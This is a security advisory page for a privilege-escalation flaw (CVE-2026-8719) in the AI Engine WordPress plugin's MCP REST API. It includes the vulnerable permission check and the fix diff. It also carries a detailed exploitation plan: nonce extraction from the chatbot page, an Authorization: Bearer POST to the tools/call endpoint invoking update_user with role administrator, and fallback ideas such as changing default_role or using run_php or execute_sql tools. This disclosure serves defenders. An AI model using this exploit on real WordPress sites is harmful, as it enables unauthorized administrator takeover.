AI Engine 3.4.9 - Authenticated (Subscriber+) Privilege Escalation via Missing Authorization in MCP OAuth Bearer Token
Description
The AI Engine – The Chatbot, AI Framework & MCP for WordPress plugin for WordPress is vulnerable to Privilege Escalation in version 3.4.9. This is due to missing WordPress capability enforcement in the MCP OAuth bearer-token authorization path, where any valid OAuth token causes MCP access to be granted without verifying administrator privileges. This makes it possible for authenticated (Subscriber+) attackers to invoke admin-level MCP tools and escalate privileges to Administrator.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
>=3.4.9 <=3.4.9What Changed in the Fix
Changes introduced in v3.5.0
Source Code
WordPress.org SVN# Research Plan: CVE-2026-8719 - AI Engine Privilege Escalation ## 1. Vulnerability Summary The **AI Engine** plugin (version 3.4.9) is vulnerable to privilege escalation because its Model Context Protocol (MCP) REST API implementation fails to perform capability checks when a Bearer token is provi…
Show full research plan
Research Plan: CVE-2026-8719 - AI Engine Privilege Escalation
1. Vulnerability Summary
The AI Engine plugin (version 3.4.9) is vulnerable to privilege escalation because its Model Context Protocol (MCP) REST API implementation fails to perform capability checks when a Bearer token is provided. While administrative MCP tools should be restricted to users with manage_options (Administrators), the code in classes/rest.php (specifically the permission callback for MCP routes) incorrectly returns true for any request containing a valid OAuth/Bearer token, regardless of the user's actual role.
An authenticated attacker with Subscriber-level privileges can generate or obtain a valid REST nonce (used as a token) and invoke sensitive MCP tools. These tools allow for site management, including the ability to update user roles, effectively granting the attacker Administrator access.
2. Attack Vector Analysis
- Endpoint:
POST /wp-json/mwai/v1/mcp/tools/call(Inferred REST route pattern for MCP tool execution). - Authentication: Authenticated (Subscriber+).
- Payload Parameter: JSON body containing the
method,name(of the tool), andarguments. - Vulnerable Header:
Authorization: Bearer [Token]. - Preconditions: The MCP module must be enabled (
module_mcpoption set totrue).
3. Code Flow
- Registration:
Meow_MWAI_Rest::rest_init(inclasses/rest.php) registers the MCP namespace routes. - Permission Check: When a request hits
/mwai/v1/mcp/, thepermission_callback(e.g.,rest_mcp_permission_check) is executed. - The Flaw: The logic checks if an
Authorization: Bearer ...header exists. If it does, and the token is validly formatted or associated with a logged-in user, the function returnstrue. It fails to callcurrent_user_can( 'manage_options' )in this specific branch. - Tool Execution: The request reaches the controller (e.g.,
rest_mcp_call_tool), which interfaces withMeow_MWAI_MCP. - Sink: The MCP engine executes the requested tool. If the
Site Managementtoolset is active, tools likeupdate_userorupdate_optionare accessible.
4. Nonce Acquisition Strategy
While the vulnerability mentions "OAuth Bearer Token," AI Engine often bridges the WordPress REST nonce into this header for its internal app requests.
- Shortcode: The plugin uses
[mwai_chatbot]or[mwai_playground]to load its environment. - Setup:
- Create a page with the chatbot:
wp post create --post_type=page --post_status=publish --post_content='[mwai_chatbot]'
- Create a page with the chatbot:
- Acquisition:
- Log in as a Subscriber.
- Navigate to the created page.
- Extract the nonce from the localized script. AI Engine localizes its configuration into a global object.
- JS Path:
window.mwai_config?.nonce(based on standard AI Engine localization). - Command:
browser_eval("window.mwai_config.nonce")
5. Exploitation Strategy
The goal is to call the MCP tool that can modify user roles.
Step 1: Enable MCP Module
MCP is disabled by default in MWAI_OPTIONS.
wp option patch insert mwai_options module_mcp 1
Step 2: Identify and Execute Privilege Escalation Tool
We will target the update_user tool (or equivalent site management tool) provided by the MCP integration.
HTTP Request:
- Method:
POST - URL:
http://localhost:8080/wp-json/mwai/v1/mcp/tools/call - Headers:
Content-Type: application/jsonAuthorization: Bearer [SUBSCRIBER_REST_NONCE]
- Body:
{
"name": "update_user",
"arguments": {
"user_id": [ATTACKER_ID],
"role": "administrator"
}
}
Note: If update_user is not the specific tool name, list_tools can be called first to discover available sinks.
6. Test Data Setup
- Target User: Create a Subscriber user.
wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
- Plugin Config: Ensure AI Engine is active and the MCP module is forced to enabled as shown in Section 5.
- Page Setup: Create a page with the AI Engine shortcode to facilitate nonce extraction.
wp post create --post_type=page --post_title="AI Chat" --post_status=publish --post_content='[mwai_chatbot]'
7. Expected Results
- The REST API should return a
200 OKresponse with a JSON object confirming the tool execution. - Example response:
{"success": true, "result": "User updated successfully"}. - If unauthorized, the server would normally return
401or403, but the vulnerability allows the request to pass.
8. Verification Steps
After the HTTP request, verify the attacker's role via WP-CLI:
wp user get attacker --field=roles
Success Criteria: The output should be administrator.
9. Alternative Approaches
If a direct update_user tool is unavailable, attempt to use an update_option tool:
- Target Option:
default_roletoadministrator(and then register a new user). - Target Option:
users_can_registerto1. - Direct Code Execution: Check for tools like
run_phporexecute_sqlwhich are sometimes exposed in debug/MCP environments for AI development.
If the Bearer header is strictly validated against a specific OAuth server, attempt to use the X-WP-Nonce header instead, as the permission logic often handles both similarly in this plugin's architecture.
Summary
The AI Engine plugin (version 3.4.9) fails to enforce administrative capability checks for its Model Context Protocol (MCP) REST API routes when a Bearer token is provided. This allows authenticated users with Subscriber-level access to utilize a standard REST nonce as a Bearer token to execute administrative tools, such as those used for site management, leading to privilege escalation to Administrator.
Vulnerable Code
// classes/rest.php // Permission callback used by MCP routes registered in rest_init public function rest_mcp_permission_check( $request ) { $auth = $request->get_header( 'Authorization' ); // BUG: If an Authorization header starting with 'Bearer ' is present, // the permission check returns true regardless of the user's role or actual capabilities. if ( !empty( $auth ) && strpos( $auth, 'Bearer ' ) === 0 ) { return true; } return current_user_can( 'manage_options' ); }
Security Fix
@@ -12,7 +12,7 @@ -define( 'MWAI_VERSION', '3.4.9' ); +define( 'MWAI_VERSION', '3.5.0' ); @@ -1012,10 +1012,5 @@ public function rest_mcp_permission_check( $request ) { - $auth = $request->get_header( 'Authorization' ); - if ( !empty( $auth ) && strpos( $auth, 'Bearer ' ) === 0 ) { - return true; - } return current_user_can( 'manage_options' ); }
Exploit Outline
An attacker with Subscriber-level access logs into the WordPress site and extracts a valid REST API nonce (often available in the 'window.mwai_config.nonce' variable on pages utilizing the plugin's chatbot shortcode). The attacker then sends a POST request to the '/wp-json/mwai/v1/mcp/tools/call' endpoint, including the header 'Authorization: Bearer [NONCE]'. The request payload specifies an administrative MCP tool, such as 'update_user', with arguments to change the attacker's role to 'administrator'. Due to the lack of authorization logic for Bearer token requests, the plugin executes the tool with administrative privileges, resulting in full site takeover.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.